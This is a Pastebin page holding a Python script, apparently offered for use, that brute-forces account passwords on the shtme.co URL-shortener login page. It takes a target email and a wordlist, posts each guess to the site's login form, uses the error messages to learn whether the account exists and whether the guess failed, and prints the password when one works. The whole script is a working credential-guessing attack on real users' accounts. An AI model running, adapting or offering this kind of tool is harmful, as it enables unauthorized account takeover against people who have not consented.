LOoLzeC

shtmeio-bruteforce.py

Jan 7th, 2019
593
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.48 KB | None | 0 0
  1. from requests import post
  2. import sys
  3. def print_status(object):
  4.         print object
  5. class conf():
  6.     def __init__(self):
  7.         print """
  8.     [ shtme.io bruteforce account ]
  9.     [ author  : 407AEx            ]
  10.     [ coded by: Deray             ]
  11.         """
  12.         self.inputUsers()
  13.         self.inputs()
  14.     def exception(self):
  15.         t=raw_input("exit? y/n: ")
  16.         if t !="y":
  17.             raise self.inputUsers()
  18.         else:
  19.             sys.exit()
  20.     def inputUsers(self):
  21.         try:
  22.             self.user=raw_input("- target email: ")
  23.         except KeyboardInterrupt:
  24.             self.exception()
  25.     def inputs(self):
  26.         list=raw_input("- wordlist    : ")
  27.         try:
  28.             self.words=open(list).readlines()
  29.             print_status("+ starting bruteforce ...")
  30.             for x in self.words:
  31.                 self.pwd=x.split("\n")[0]
  32.                 self.uri="http://shtme.co/user/login"
  33.                 req_stats=post(self.uri,data={"user_email":self.user,"user_pwd":self.pwd,"submit":"masuk"}).text
  34.                 if 'No such user with this email!' in req_stats:
  35.                     print_status("* not found users with email: "+self.user)
  36.                     break
  37.                 elif "Password Salah!" in req_stats:
  38.                     print_status("- incorrect pass: "+self.pwd)
  39.                 else:
  40.                     print_status("-"*50)
  41.                     print_status("+ found password with email: %s"%(self.user))
  42.                     print_status("+ pass: "+self.pwd)
  43.                     print_status("-"*50)
  44.                     print_status("+ brutuforce finished.")
  45.                     sys.exit()
  46.             print_status("+ brutuforce finished.")
  47.         except Exception as memek:
  48.             print_status("- "+str(memek))
  49.             self.inputs()
  50. if __name__ == "__main__":
  51.     try:
  52.         conf()
  53.     finally:sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment